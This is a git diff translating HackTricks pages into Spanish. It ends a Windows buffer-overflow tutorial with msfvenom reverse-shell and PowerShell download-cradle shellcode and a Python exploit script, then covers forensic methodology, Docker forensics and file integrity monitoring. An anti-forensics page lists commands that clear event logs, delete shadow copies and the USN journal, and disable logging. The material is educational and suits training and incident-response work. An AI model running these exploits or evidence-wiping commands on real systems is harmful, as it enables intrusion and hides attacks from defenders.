0x0209A2D6 = 430B.** Enough. +En este caso tenemos **de 0x0209A128 a 0x0209A2D6 = 430B.** Suficiente. -## Check for bad chars - -Change again the buffer: +## Verifique los caracteres no deseados +Cambia nuevamente el buffer: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,63 +128,45 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +Los badchars comienzan en 0x01 porque 0x00 es casi siempre malo. -The badchars starts in 0x01 because 0x00 is almost always bad. +Ejecuta repetidamente el exploit con este nuevo buffer eliminando los caracteres que se encuentran como inútiles: -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +Por ejemplo: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +En este caso puedes ver que **no deberías usar el char 0x0A** (nada se guarda en memoria ya que el char 0x09). ![](<../images/image (33) (1).png>) -In this case you can see that **the char 0x0D is avoided**: +En este caso puedes ver que **se evita el char 0x0D**: ![](<../images/image (34) (1).png>) -## Find a JMP ESP as a return address - -Using: +## Encuentra un JMP ESP como dirección de retorno +Usando: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: - -- **Rebase: False** -- **SafeSEH: False** -- **ASLR: False** -- **NXCompat: False** -- **OS Dll: True** - -![](<../images/image (35) (1).png>) - -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +Ahora, dentro de esta memoria deberías encontrar algunos bytes JMP ESP, para hacer eso ejecuta: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**Entonces, si se encuentra alguna dirección, elige una que no contenga ningún badchar:** ![](<../images/image (36) (1).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**En este caso, por ejemplo: \_0x5f4a358f**\_ +## Crear shellcode ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +Si el exploit no está funcionando pero debería (puedes ver con ImDebg que se alcanza el shellcode), intenta crear otros shellcodes (msfvenom con crear diferentes shellcodes para los mismos parámetros). -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**Agrega algunos NOPS al principio** del shellcode y úsalo junto con la dirección de retorno para JMP ESP, y termina el exploit: ```bash #!/usr/bin/python @@ -236,26 +205,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> Hay shellcodes que **se sobrescriben a sí mismos**, por lo tanto, es importante siempre agregar algunos NOPs antes del shellcode -## Improving the shellcode - -Add this parameters: +## Mejorando el shellcode +Agrega estos parámetros: ``` EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md index e725dfa85..3455e9ba2 100644 --- a/src/forensics/basic-forensic-methodology/README.md +++ b/src/forensics/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# Metodología Forense Básica {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## Creación y Montaje de una Imagen {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## Análisis de Malware -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +Esto **no es necesariamente el primer paso a realizar una vez que tienes la imagen**. Pero puedes usar estas técnicas de análisis de malware de forma independiente si tienes un archivo, una imagen de sistema de archivos, imagen de memoria, pcap... así que es bueno **tener en cuenta estas acciones**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## Inspección de una Imagen -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +Si se te proporciona una **imagen forense** de un dispositivo, puedes comenzar **a analizar las particiones, el sistema de archivos** utilizado y **recuperar** potencialmente **archivos interesantes** (incluso los eliminados). Aprende cómo en: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +Dependiendo de los sistemas operativos utilizados e incluso de la plataforma, se deben buscar diferentes artefactos interesantes: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## Inspección profunda de tipos de archivos específicos y Software -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +Si tienes un **archivo** muy **sospechoso**, entonces **dependiendo del tipo de archivo y del software** que lo creó, varios **trucos** pueden ser útiles.\ +Lee la siguiente página para aprender algunos trucos interesantes: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +Quiero hacer una mención especial a la página: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## Inspección de Volcado de Memoria {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Inspección de Pcap {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## **Técnicas Anti-Forenses** -Keep in mind the possible use of anti-forensic techniques: +Ten en cuenta el posible uso de técnicas anti-forenses: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## Caza de Amenazas {{#ref}} file-integrity-monitoring.md diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 615ede378..cea913803 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,77 +1,73 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - # Timestamps -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` ** and ** `$FILE_NAME`. +Un atacante puede estar interesado en **cambiar las marcas de tiempo de los archivos** para evitar ser detectado.\ +Es posible encontrar las marcas de tiempo dentro del MFT en los atributos `$STANDARD_INFORMATION` ** y ** `$FILE_NAME`. -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +Ambos atributos tienen 4 marcas de tiempo: **Modificación**, **acceso**, **creación** y **modificación del registro MFT** (MACE o MACB). -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. +**El explorador de Windows** y otras herramientas muestran la información de **`$STANDARD_INFORMATION`**. -## TimeStomp - Anti-forensic Tool +## TimeStomp - Herramienta anti-forense -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +Esta herramienta **modifica** la información de la marca de tiempo dentro de **`$STANDARD_INFORMATION`** **pero** **no** la información dentro de **`$FILE_NAME`**. Por lo tanto, es posible **identificar** **actividad** **sospechosa**. ## Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +El **USN Journal** (Journal de Número de Secuencia de Actualización) es una característica del NTFS (sistema de archivos de Windows NT) que rastrea los cambios en el volumen. La herramienta [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) permite examinar estos cambios. ![](<../../images/image (449).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +La imagen anterior es la **salida** mostrada por la **herramienta** donde se puede observar que se **realizaron algunos cambios** en el archivo. ## $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**Todos los cambios de metadatos en un sistema de archivos se registran** en un proceso conocido como [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Los metadatos registrados se mantienen en un archivo llamado `**$LogFile**`, ubicado en el directorio raíz de un sistema de archivos NTFS. Herramientas como [LogFileParser](https://github.com/jschicht/LogFileParser) se pueden usar para analizar este archivo e identificar cambios. ![](<../../images/image (450).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +Nuevamente, en la salida de la herramienta es posible ver que **se realizaron algunos cambios**. -Using the same tool it's possible to identify to **which time the timestamps were modified**: +Usando la misma herramienta es posible identificar **a qué hora se modificaron las marcas de tiempo**: ![](<../../images/image (451).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: Hora de creación del archivo +- ATIME: Hora de modificación del archivo +- MTIME: Modificación del registro MFT del archivo +- RTIME: Hora de acceso del archivo -## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +## Comparación de `$STANDARD_INFORMATION` y `$FILE_NAME` -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +Otra forma de identificar archivos modificados sospechosos sería comparar el tiempo en ambos atributos buscando **incongruencias**. -## Nanoseconds +## Nanosegundos -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +Las marcas de tiempo de **NTFS** tienen una **precisión** de **100 nanosegundos**. Por lo tanto, encontrar archivos con marcas de tiempo como 2010-10-10 10:10:**00.000:0000 es muy sospechoso**. -## SetMace - Anti-forensic Tool +## SetMace - Herramienta anti-forense -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +Esta herramienta puede modificar ambos atributos `$STARNDAR_INFORMATION` y `$FILE_NAME`. Sin embargo, desde Windows Vista, es necesario que un sistema operativo en vivo modifique esta información. # Data Hiding -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTS utiliza un clúster y el tamaño mínimo de información. Eso significa que si un archivo ocupa y utiliza un clúster y medio, la **mitad restante nunca se va a utilizar** hasta que se elimine el archivo. Entonces, es posible **ocultar datos en este espacio de holgura**. -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +Hay herramientas como slacker que permiten ocultar datos en este espacio "oculto". Sin embargo, un análisis del `$logfile` y `$usnjrnl` puede mostrar que se añadieron algunos datos: ![](<../../images/image (452).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +Entonces, es posible recuperar el espacio de holgura usando herramientas como FTK Imager. Tenga en cuenta que este tipo de herramienta puede guardar el contenido ofuscado o incluso cifrado. # UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +Esta es una herramienta que **apagará la computadora si se detecta algún cambio en los puertos USB**.\ +Una forma de descubrir esto sería inspeccionar los procesos en ejecución y **revisar cada script de python en ejecución**. # Live Linux Distributions -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +Estas distribuciones se **ejecutan dentro de la memoria RAM**. La única forma de detectarlas es **en caso de que el sistema de archivos NTFS esté montado con permisos de escritura**. Si está montado solo con permisos de lectura, no será posible detectar la intrusión. # Secure Deletion @@ -79,81 +75,77 @@ These distros are **executed inside the RAM** memory. The only way to detect the # Windows Configuration -It's possible to disable several windows logging methods to make the forensics investigation much harder. +Es posible deshabilitar varios métodos de registro de Windows para dificultar mucho la investigación forense. -## Disable Timestamps - UserAssist +## Deshabilitar marcas de tiempo - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +Esta es una clave de registro que mantiene las fechas y horas en que cada ejecutable fue ejecutado por el usuario. -Disabling UserAssist requires two steps: +Deshabilitar UserAssist requiere dos pasos: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. Establecer dos claves de registro, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` y `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, ambas a cero para señalar que queremos deshabilitar UserAssist. +2. Limpiar sus subárboles de registro que se parecen a `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. -## Disable Timestamps - Prefetch +## Deshabilitar marcas de tiempo - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +Esto guardará información sobre las aplicaciones ejecutadas con el objetivo de mejorar el rendimiento del sistema Windows. Sin embargo, esto también puede ser útil para prácticas forenses. -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- Ejecutar `regedit` +- Seleccionar la ruta del archivo `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` +- Haga clic derecho en `EnablePrefetcher` y `EnableSuperfetch` +- Seleccione Modificar en cada uno de estos para cambiar el valor de 1 (o 3) a 0 +- Reiniciar -## Disable Timestamps - Last Access Time +## Deshabilitar marcas de tiempo - Última hora de acceso -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +Cada vez que se abre una carpeta desde un volumen NTFS en un servidor Windows NT, el sistema toma el tiempo para **actualizar un campo de marca de tiempo en cada carpeta listada**, llamado la última hora de acceso. En un volumen NTFS muy utilizado, esto puede afectar el rendimiento. -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. Abra el Editor del Registro (Regedit.exe). +2. Navegue a `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. +3. Busque `NtfsDisableLastAccessUpdate`. Si no existe, agregue este DWORD y establezca su valor en 1, lo que deshabilitará el proceso. +4. Cierre el Editor del Registro y reinicie el servidor. -## Delete USB History +## Eliminar historial de USB -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +Todas las **Entradas de Dispositivos USB** se almacenan en el Registro de Windows bajo la clave de registro **USBSTOR** que contiene subclaves que se crean cada vez que conecta un dispositivo USB a su PC o Laptop. Puede encontrar esta clave aquí `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Eliminando esto** eliminará el historial de USB.\ +También puede usar la herramienta [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) para asegurarse de que los ha eliminado (y para eliminarlos). -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +Otro archivo que guarda información sobre los USB es el archivo `setupapi.dev.log` dentro de `C:\Windows\INF`. Este también debe ser eliminado. -## Disable Shadow Copies +## Deshabilitar copias de sombra -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**Listar** copias de sombra con `vssadmin list shadowstorage`\ +**Eliminarlas** ejecutando `vssadmin delete shadow` -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +También puede eliminarlas a través de la GUI siguiendo los pasos propuestos en [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +Para deshabilitar las copias de sombra [pasos desde aquí](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. Abra el programa Servicios escribiendo "services" en el cuadro de búsqueda de texto después de hacer clic en el botón de inicio de Windows. +2. En la lista, busque "Copia de Sombra de Volumen", selecciónelo y luego acceda a Propiedades haciendo clic derecho. +3. Elija Deshabilitado en el menú desplegable "Tipo de inicio" y luego confirme el cambio haciendo clic en Aplicar y Aceptar. -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` +También es posible modificar la configuración de qué archivos se van a copiar en la copia de sombra en el registro `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot` -## Overwrite deleted files +## Sobrescribir archivos eliminados -- You can use a **Windows tool**: `cipher /w:C` This will indicate cipher to remove any data from the available unused disk space inside the C drive. -- You can also use tools like [**Eraser**](https://eraser.heidi.ie) +- Puede usar una **herramienta de Windows**: `cipher /w:C` Esto indicará a cipher que elimine cualquier dato del espacio de disco no utilizado disponible dentro de la unidad C. +- También puede usar herramientas como [**Eraser**](https://eraser.heidi.ie) -## Delete Windows event logs +## Eliminar registros de eventos de Windows -- Windows + R --> eventvwr.msc --> Expand "Windows Logs" --> Right click each category and select "Clear Log" +- Windows + R --> eventvwr.msc --> Expandir "Registros de Windows" --> Haga clic derecho en cada categoría y seleccione "Borrar registro" - `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"` - `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }` -## Disable Windows event logs +## Deshabilitar registros de eventos de Windows - `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f` -- Inside the services section disable the service "Windows Event Log" -- `WEvtUtil.exec clear-log` or `WEvtUtil.exe cl` +- Dentro de la sección de servicios, deshabilite el servicio "Registro de Eventos de Windows" +- `WEvtUtil.exec clear-log` o `WEvtUtil.exe cl` -## Disable $UsnJrnl +## Deshabilitar $UsnJrnl - `fsutil usn deletejournal /d c:` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/docker-forensics.md b/src/forensics/basic-forensic-methodology/docker-forensics.md index 629251985..649df4b3a 100644 --- a/src/forensics/basic-forensic-methodology/docker-forensics.md +++ b/src/forensics/basic-forensic-methodology/docker-forensics.md @@ -2,24 +2,16 @@ {{#include ../../banners/hacktricks-training.md}} -
-Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - -## Container modification - -There are suspicions that some docker container was compromised: +## Modificación de contenedores +Existen sospechas de que algún contenedor de docker fue comprometido: ```bash docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress ``` - -You can easily **find the modifications done to this container with regards to the image** with: - +Puedes fácilmente **encontrar las modificaciones realizadas a este contenedor con respecto a la imagen** con: ```bash docker diff wordpress C /var @@ -33,70 +25,52 @@ A /var/lib/mysql/mysql/time_zone_leap_second.MYI A /var/lib/mysql/mysql/general_log.CSV ... ``` - -In the previous command **C** means **Changed** and **A,** **Added**.\ -If you find that some interesting file like `/etc/shadow` was modified you can download it from the container to check for malicious activity with: - +En el comando anterior, **C** significa **Cambiado** y **A,** **Agregado**.\ +Si encuentras que algún archivo interesante como `/etc/shadow` fue modificado, puedes descargarlo del contenedor para verificar actividad maliciosa con: ```bash docker cp wordpress:/etc/shadow. ``` - -You can also **compare it with the original one** running a new container and extracting the file from it: - +También puedes **compararlo con el original** ejecutando un nuevo contenedor y extrayendo el archivo de él: ```bash docker run -d lamp-wordpress docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container diff original_shadow shadow ``` - -If you find that **some suspicious file was added** you can access the container and check it: - +Si encuentras que **se añadió un archivo sospechoso** puedes acceder al contenedor y verificarlo: ```bash docker exec -it wordpress bash ``` +## Modificaciones de imágenes -## Images modifications - -When you are given an exported docker image (probably in `.tar` format) you can use [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) to **extract a summary of the modifications**: - +Cuando se te proporciona una imagen de docker exportada (probablemente en formato `.tar`), puedes usar [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) para **extraer un resumen de las modificaciones**: ```bash docker save > image.tar #Export the image to a .tar file container-diff analyze -t sizelayer image.tar container-diff analyze -t history image.tar container-diff analyze -t metadata image.tar ``` - -Then, you can **decompress** the image and **access the blobs** to search for suspicious files you may have found in the changes history: - +Luego, puedes **descomprimir** la imagen y **acceder a los blobs** para buscar archivos sospechosos que puedas haber encontrado en el historial de cambios: ```bash tar -xf image.tar ``` +### Análisis Básico -### Basic Analysis - -You can get **basic information** from the image running: - +Puedes obtener **información básica** de la imagen ejecutando: ```bash docker inspect ``` - -You can also get a summary **history of changes** with: - +También puedes obtener un resumen **historia de cambios** con: ```bash docker history --no-trunc ``` - -You can also generate a **dockerfile from an image** with: - +También puedes generar un **dockerfile a partir de una imagen** con: ```bash alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage" dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers> ``` - ### Dive -In order to find added/modified files in docker images you can also use the [**dive**](https://github.com/wagoodman/dive) (download it from [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utility: - +Para encontrar archivos añadidos/modificados en imágenes de docker, también puedes usar la [**dive**](https://github.com/wagoodman/dive) (descárgalo de [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) utilidad: ```bash #First you need to load the image in your docker repo sudo docker load < image.tar 1 ⨯ @@ -105,27 +79,19 @@ Loaded image: flask:latest #And then open it with dive: sudo dive flask:latest ``` +Esto te permite **navegar a través de los diferentes blobs de imágenes de docker** y verificar qué archivos fueron modificados/agregados. **Rojo** significa agregado y **amarillo** significa modificado. Usa **tab** para moverte a la otra vista y **space** para colapsar/abrir carpetas. -This allows you to **navigate through the different blobs of docker images** and check which files were modified/added. **Red** means added and **yellow** means modified. Use **tab** to move to the other view and **space** to collapse/open folders. - -With die you won't be able to access the content of the different stages of the image. To do so you will need to **decompress each layer and access it**.\ -You can decompress all the layers from an image from the directory where the image was decompressed executing: - +Con die no podrás acceder al contenido de las diferentes etapas de la imagen. Para hacerlo, necesitarás **descomprimir cada capa y acceder a ella**.\ +Puedes descomprimir todas las capas de una imagen desde el directorio donde se descomprimió la imagen ejecutando: ```bash tar -xf image.tar for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done ``` +## Credenciales de la memoria -## Credentials from memory +Ten en cuenta que cuando ejecutas un contenedor de docker dentro de un host **puedes ver los procesos que se están ejecutando en el contenedor desde el host** simplemente ejecutando `ps -ef` -Note that when you run a docker container inside a host **you can see the processes running on the container from the host** just running `ps -ef` +Por lo tanto (como root) puedes **volcar la memoria de los procesos** desde el host y buscar **credenciales** justo [**como en el siguiente ejemplo**](../../linux-hardening/privilege-escalation/#process-memory). -Therefore (as root) you can **dump the memory of the processes** from the host and search for **credentials** just [**like in the following example**](../../linux-hardening/privilege-escalation/#process-memory). - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md index 214b917cf..d73e88fa1 100644 --- a/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md +++ b/src/forensics/basic-forensic-methodology/file-integrity-monitoring.md @@ -1,25 +1,25 @@ {{#include ../../banners/hacktricks-training.md}} -# Baseline +# Línea base -A baseline consists of taking a snapshot of certain parts of a system to **compare it with a future status to highlight changes**. +Una línea base consiste en tomar una instantánea de ciertas partes de un sistema para **compararla con un estado futuro para resaltar cambios**. -For example, you can calculate and store the hash of each file of the filesystem to be able to find out which files were modified.\ -This can also be done with the user accounts created, processes running, services running and any other thing that shouldn't change much, or at all. +Por ejemplo, puedes calcular y almacenar el hash de cada archivo del sistema de archivos para poder averiguar qué archivos fueron modificados.\ +Esto también se puede hacer con las cuentas de usuario creadas, procesos en ejecución, servicios en ejecución y cualquier otra cosa que no debería cambiar mucho, o en absoluto. -## File Integrity Monitoring +## Monitoreo de Integridad de Archivos -File Integrity Monitoring (FIM) is a critical security technique that protects IT environments and data by tracking changes in files. It involves two key steps: +El Monitoreo de Integridad de Archivos (FIM) es una técnica de seguridad crítica que protege los entornos de TI y los datos al rastrear cambios en los archivos. Implica dos pasos clave: -1. **Baseline Comparison:** Establish a baseline using file attributes or cryptographic checksums (like MD5 or SHA-2) for future comparisons to detect modifications. -2. **Real-Time Change Notification:** Get instant alerts when files are accessed or altered, typically through OS kernel extensions. +1. **Comparación de Línea Base:** Establecer una línea base utilizando atributos de archivo o sumas de verificación criptográficas (como MD5 o SHA-2) para comparaciones futuras y detectar modificaciones. +2. **Notificación de Cambio en Tiempo Real:** Recibir alertas instantáneas cuando los archivos son accedidos o alterados, típicamente a través de extensiones del kernel del sistema operativo. -## Tools +## Herramientas - [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring) - [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software) -## References +## Referencias - [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it) diff --git a/src/forensics/basic-forensic-methodology/linux-forensics.md b/src/forensics/basic-forensic-methodology/linux-forensics.md index 8d505942f..962546dfb 100644 --- a/src/forensics/basic-forensic-methodology/linux-forensics.md +++ b/src/forensics/basic-forensic-methodology/linux-forensics.md @@ -1,28 +1,17 @@ # Linux Forensics -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../banners/hacktricks-training.md}} -## Initial Information Gathering +## Recolección Inicial de Información -### Basic Information - -First of all, it's recommended to have some **USB** with **good known binaries and libraries on it** (you can just get ubuntu and copy the folders _/bin_, _/sbin_, _/lib,_ and _/lib64_), then mount the USB, and modify the env variables to use those binaries: +### Información Básica +Primero que nada, se recomienda tener un **USB** con **binaries y bibliotecas bien conocidos** (puedes simplemente obtener ubuntu y copiar las carpetas _/bin_, _/sbin_, _/lib,_ y _/lib64_), luego monta el USB y modifica las variables de entorno para usar esos binaries: ```bash export PATH=/mnt/usb/bin:/mnt/usb/sbin export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 ``` - -Once you have configured the system to use good and known binaries you can start **extracting some basic information**: - +Una vez que hayas configurado el sistema para usar binarios buenos y conocidos, puedes comenzar a **extraer información básica**: ```bash date #Date and time (Clock may be skewed, Might be at a different timezone) uname -a #OS info @@ -40,50 +29,46 @@ cat 